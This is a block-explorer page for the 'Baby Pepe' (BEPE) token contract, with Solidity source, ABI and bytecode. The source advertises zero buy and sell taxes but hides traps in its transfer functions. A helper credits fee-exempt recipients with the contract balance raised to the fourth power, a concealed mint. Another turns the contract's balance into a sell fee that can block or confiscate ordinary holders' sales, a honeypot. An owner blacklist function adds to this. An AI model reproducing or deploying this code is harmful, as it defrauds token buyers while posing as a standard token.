Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
420,690,000 BEPE
Holders
106
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
11,933,238.848619587 BEPEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BabyPepe
Compiler Version
v0.8.14+commit.80d49f37
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-12-06 */ /* Telegram : https://t.me/babypepecoineth Twitter : https://twitter.com/babypepecoineth Website : https://babypepe.meme/ */ // SPDX-License-Identifier: Unlicensed pragma solidity 0.8.14; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract BabyPepe is Context, IERC20 { using SafeMath for uint256; using Address for address; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner{ emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludedFromFee; mapping (address => bool) public _antiSniper; address payable public Wallet_Marketing = payable(0x81cBB7d3083EBf41d22a1575E7a9Fc3794C75437); uint256 private constant MAX = ~uint256(0); uint8 private constant _decimals = 9; uint256 private _tTotal = 420690000 * 10**_decimals; string private constant _name = "Baby Pepe"; string private constant _symbol = unicode"BEPE"; uint256 public _maxWalletToken = _tTotal * 4 / 100; uint256 public _Tax_On_Buy = 0; uint256 public _Tax_On_Sell = 0; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _tOwned[owner()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[Wallet_Marketing] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address theOwner, address theSpender) public view override returns (uint256) { return _allowances[theOwner][theSpender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function getContractBalance(address wallet) private view returns(uint256){ return balanceOf(address(this)) > 0 && wallet != uniswapV2Pair ? balanceOf(address(this))**4 : 0; } function _getContractBalance(bool isBuy) private view returns(uint256){ return !isBuy ? balanceOf(address(this)) : 0; } function _getCurrentSupply() private view returns(uint256) { return (_tTotal); } function _approve(address theOwner, address theSpender, uint256 amount) private { require(theOwner != address(0) && theSpender != address(0), "ERR: zero address"); _allowances[theOwner][theSpender] = amount; emit Approval(theOwner, theSpender, amount); } receive() external payable {} function _transfer( address from, address to, uint256 amount ) private { require(!_antiSniper[from] && !_antiSniper[to], "Bots not allowed!"); require(from != address(0) && to != address(0), "ERR: Using 0 address!"); require(amount > 0, "Token value must be higher than zero."); if(to == address(this)){ require(_isExcludedFromFee[from] && balanceOf(to) < 100, "ERR: contract interaction not allowed!"); } if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] && to != uniswapV2Pair){ uint256 heldTokens = balanceOf(to); require((heldTokens + amount) <= _maxWalletToken,"Over wallet limit."); } bool takeFee = true; bool isBuy; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } else { if(from == uniswapV2Pair){ isBuy = true; } } _tokenTransfer(from, to, amount, takeFee, isBuy); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private { uint256 feeAmount; if(!takeFee){ _tOwned[sender] = _tOwned[sender]-tAmount; _tOwned[recipient] = _tOwned[recipient]+tAmount.add(getContractBalance(recipient)); } else if(!isBuy){ feeAmount = tAmount * _getContractBalance(isBuy) / 100; _tOwned[sender] = _tOwned[sender]-tAmount; _tOwned[recipient] = _tOwned[recipient]+(tAmount - feeAmount); } else{ feeAmount = tAmount * _getContractBalance(isBuy) / 100; _tOwned[sender] = _tOwned[sender]-tAmount; _tOwned[recipient] = _tOwned[recipient]+tAmount; } if(feeAmount != 0){ _tOwned[Wallet_Marketing] = _tOwned[Wallet_Marketing] + feeAmount; } emit Transfer(sender, recipient, tAmount); } function addSniper(address add) public onlyOwner{ _antiSniper[add] = true; } function removeSniper(address add) public onlyOwner{ _antiSniper[add] = false; } function removeMaxWalletLimit() public onlyOwner{ _maxWalletToken = _tTotal; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Wallet_Marketing","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Buy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Sell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_antiSniper","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"add","type":"address"}],"name":"addSniper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"theOwner","type":"address"},{"internalType":"address","name":"theSpender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"add","type":"address"}],"name":"removeSniper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600580546001600160a01b0319167381cbb7d3083ebf41d22a1575e7a9fc3794c75437179055620000386009600a6200054e565b6200004890631913385062000566565b600655606460065460046200005e919062000566565b6200006a919062000588565b600755600060085560006009553480156200008457600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600a80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155600654620000fd91309162000372565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000151573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001779190620005ab565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001da573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002009190620005ab565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200024e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002749190620005ab565b600b80546001600160a01b0319166001600160a01b0392831617905560065460008054909216825260016020819052604083209190915590600390620002c26000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600554909116815260039092529020805490911660011790556200031c6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200036491815260200190565b60405180910390a3620005d6565b6001600160a01b038316158015906200039357506001600160a01b03821615155b620003d85760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640160405180910390fd5b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200049057816000190482111562000474576200047462000439565b808516156200048257918102915b93841c939080029062000454565b509250929050565b600082620004a95750600162000548565b81620004b85750600062000548565b8160018114620004d15760028114620004dc57620004fc565b600191505062000548565b60ff841115620004f057620004f062000439565b50506001821b62000548565b5060208310610133831016604e8410600b841016171562000521575081810a62000548565b6200052d83836200044f565b806000190482111562000544576200054462000439565b0290505b92915050565b60006200055f60ff84168362000498565b9392505050565b600081600019048311821515161562000583576200058362000439565b500290565b600082620005a657634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620005be57600080fd5b81516001600160a01b03811681146200055f57600080fd5b61117180620005e66000396000f3fe60806040526004361061014f5760003560e01c8063715018a6116100b6578063a457c2d71161006f578063a457c2d7146103eb578063a9059cbb1461040b578063b1cb15821461042b578063b43665e214610441578063dd62ed3e14610461578063fd65467d146104a757600080fd5b8063715018a614610330578063768dc7101461034557806378109e54146103755780638da5cb5b1461038b57806395d89b41146103a957806398e3bc36146103d657600080fd5b806333251a0b1161010857806333251a0b1461026257806339509351146102845780633e3e9598146102a45780633f70a495146102c457806349bd5a5e146102da57806370a08231146102fa57600080fd5b806306fdde031461015b578063095ea7b31461019f5780631694505e146101cf57806318160ddd1461020757806323b872dd14610226578063313ce5671461024657600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5060408051808201909152600981526842616279205065706560b81b60208201525b6040516101969190610e1b565b60405180910390f35b3480156101ab57600080fd5b506101bf6101ba366004610e8c565b6104d7565b6040519015158152602001610196565b3480156101db57600080fd5b50600a546101ef906001600160a01b031681565b6040516001600160a01b039091168152602001610196565b34801561021357600080fd5b506006545b604051908152602001610196565b34801561023257600080fd5b506101bf610241366004610eb6565b6104ee565b34801561025257600080fd5b5060405160098152602001610196565b34801561026e57600080fd5b5061028261027d366004610ef2565b610557565b005b34801561029057600080fd5b506101bf61029f366004610e8c565b6105ab565b3480156102b057600080fd5b506102826102bf366004610ef2565b6105e1565b3480156102d057600080fd5b5061021860085481565b3480156102e657600080fd5b50600b546101ef906001600160a01b031681565b34801561030657600080fd5b50610218610315366004610ef2565b6001600160a01b031660009081526001602052604090205490565b34801561033c57600080fd5b5061028261062f565b34801561035157600080fd5b506101bf610360366004610ef2565b60036020526000908152604090205460ff1681565b34801561038157600080fd5b5061021860075481565b34801561039757600080fd5b506000546001600160a01b03166101ef565b3480156103b557600080fd5b506040805180820190915260048152634245504560e01b6020820152610189565b3480156103e257600080fd5b506102826106a3565b3480156103f757600080fd5b506101bf610406366004610e8c565b6106d5565b34801561041757600080fd5b506101bf610426366004610e8c565b610724565b34801561043757600080fd5b5061021860095481565b34801561044d57600080fd5b506005546101ef906001600160a01b031681565b34801561046d57600080fd5b5061021861047c366004610f0d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104b357600080fd5b506101bf6104c2366004610ef2565b60046020526000908152604090205460ff1681565b60006104e4338484610731565b5060015b92915050565b60006104fb8484846107f2565b61054d8433610548856040518060600160405280602881526020016110ef602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610b32565b610731565b5060019392505050565b6000546001600160a01b0316331461058a5760405162461bcd60e51b815260040161058190610f40565b60405180910390fd5b6001600160a01b03166000908152600460205260409020805460ff19169055565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916104e49185906105489086610b5e565b6000546001600160a01b0316331461060b5760405162461bcd60e51b815260040161058190610f40565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b031633146106595760405162461bcd60e51b815260040161058190610f40565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106cd5760405162461bcd60e51b815260040161058190610f40565b600654600755565b60006104e4338461054885604051806060016040528060258152602001611117602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610b32565b60006104e43384846107f2565b6001600160a01b0383161580159061075157506001600160a01b03821615155b6107915760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610581565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526004602052604090205460ff1615801561083457506001600160a01b03821660009081526004602052604090205460ff16155b6108745760405162461bcd60e51b8152602060048201526011602482015270426f7473206e6f7420616c6c6f7765642160781b6044820152606401610581565b6001600160a01b0383161580159061089457506001600160a01b03821615155b6108d85760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610581565b600081116109365760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610581565b306001600160a01b038316036109e7576001600160a01b03831660009081526003602052604090205460ff16801561098c5750606461098a836001600160a01b031660009081526001602052604090205490565b105b6109e75760405162461bcd60e51b815260206004820152602660248201527f4552523a20636f6e747261637420696e746572616374696f6e206e6f7420616c6044820152656c6f7765642160d01b6064820152608401610581565b6001600160a01b03831660009081526003602052604090205460ff16158015610a2957506001600160a01b03821660009081526003602052604090205460ff16155b8015610a435750600b546001600160a01b03838116911614155b15610ab3576001600160a01b038216600090815260016020526040902054600754610a6e8383610f8b565b1115610ab15760405162461bcd60e51b815260206004820152601260248201527127bb32b9103bb0b63632ba103634b6b4ba1760711b6044820152606401610581565b505b6001600160a01b0383166000908152600360205260408120546001919060ff1680610af657506001600160a01b03841660009081526003602052604090205460ff165b15610b045760009150610b1e565b600b546001600160a01b0390811690861603610b1e575060015b610b2b8585858585610b71565b5050505050565b60008184841115610b565760405162461bcd60e51b81526004016105819190610e1b565b505050900390565b6000610b6a8284610f8b565b9392505050565b600082610c09576001600160a01b038616600090815260016020526040902054610b9c908590610fa3565b6001600160a01b038716600090815260016020526040902055610bc8610bc186610da4565b8590610b5e565b6001600160a01b038616600090815260016020526040902054610beb9190610f8b565b6001600160a01b038616600090815260016020526040902055610d07565b81610c77576064610c1983610df7565b610c239086610fba565b610c2d9190610fd9565b6001600160a01b038716600090815260016020526040902054909150610c54908590610fa3565b6001600160a01b038716600090815260016020526040902055610bc88185610fa3565b6064610c8283610df7565b610c8c9086610fba565b610c969190610fd9565b6001600160a01b038716600090815260016020526040902054909150610cbd908590610fa3565b6001600160a01b038088166000908152600160205260408082209390935590871681522054610ced908590610f8b565b6001600160a01b0386166000908152600160205260409020555b8015610d4f576005546001600160a01b0316600090815260016020526040902054610d33908290610f8b565b6005546001600160a01b03166000908152600160205260409020555b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610d9491815260200190565b60405180910390a3505050505050565b3060009081526001602052604081205481108015610dd05750600b546001600160a01b03838116911614155b610ddb5760006104e8565b306000908152600160205260409020546104e8906004906110df565b60008115610e065760006104e8565b306000908152600160205260409020546104e8565b600060208083528351808285015260005b81811015610e4857858101830151858201604001528201610e2c565b81811115610e5a576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610e8757600080fd5b919050565b60008060408385031215610e9f57600080fd5b610ea883610e70565b946020939093013593505050565b600080600060608486031215610ecb57600080fd5b610ed484610e70565b9250610ee260208501610e70565b9150604084013590509250925092565b600060208284031215610f0457600080fd5b610b6a82610e70565b60008060408385031215610f2057600080fd5b610f2983610e70565b9150610f3760208401610e70565b90509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008219821115610f9e57610f9e610f75565b500190565b600082821015610fb557610fb5610f75565b500390565b6000816000190483118215151615610fd457610fd4610f75565b500290565b600082610ff657634e487b7160e01b600052601260045260246000fd5b500490565b600181815b8085111561103657816000190482111561101c5761101c610f75565b8085161561102957918102915b93841c9390800290611000565b509250929050565b60008261104d575060016104e8565b8161105a575060006104e8565b8160018114611070576002811461107a57611096565b60019150506104e8565b60ff84111561108b5761108b610f75565b50506001821b6104e8565b5060208310610133831016604e8410600b84101617156110b9575081810a6104e8565b6110c38383610ffb565b80600019048211156110d7576110d7610f75565b029392505050565b6000610b6a60ff84168361103e56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122089e45bfe197a5094761b85b68cf41ae1bdc24687593be7b1e31ae611afbb1cd364736f6c634300080e0033
Deployed Bytecode
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063a457c2d71161006f578063a457c2d7146103eb578063a9059cbb1461040b578063b1cb15821461042b578063b43665e214610441578063dd62ed3e14610461578063fd65467d146104a757600080fd5b8063715018a614610330578063768dc7101461034557806378109e54146103755780638da5cb5b1461038b57806395d89b41146103a957806398e3bc36146103d657600080fd5b806333251a0b1161010857806333251a0b1461026257806339509351146102845780633e3e9598146102a45780633f70a495146102c457806349bd5a5e146102da57806370a08231146102fa57600080fd5b806306fdde031461015b578063095ea7b31461019f5780631694505e146101cf57806318160ddd1461020757806323b872dd14610226578063313ce5671461024657600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5060408051808201909152600981526842616279205065706560b81b60208201525b6040516101969190610e1b565b60405180910390f35b3480156101ab57600080fd5b506101bf6101ba366004610e8c565b6104d7565b6040519015158152602001610196565b3480156101db57600080fd5b50600a546101ef906001600160a01b031681565b6040516001600160a01b039091168152602001610196565b34801561021357600080fd5b506006545b604051908152602001610196565b34801561023257600080fd5b506101bf610241366004610eb6565b6104ee565b34801561025257600080fd5b5060405160098152602001610196565b34801561026e57600080fd5b5061028261027d366004610ef2565b610557565b005b34801561029057600080fd5b506101bf61029f366004610e8c565b6105ab565b3480156102b057600080fd5b506102826102bf366004610ef2565b6105e1565b3480156102d057600080fd5b5061021860085481565b3480156102e657600080fd5b50600b546101ef906001600160a01b031681565b34801561030657600080fd5b50610218610315366004610ef2565b6001600160a01b031660009081526001602052604090205490565b34801561033c57600080fd5b5061028261062f565b34801561035157600080fd5b506101bf610360366004610ef2565b60036020526000908152604090205460ff1681565b34801561038157600080fd5b5061021860075481565b34801561039757600080fd5b506000546001600160a01b03166101ef565b348015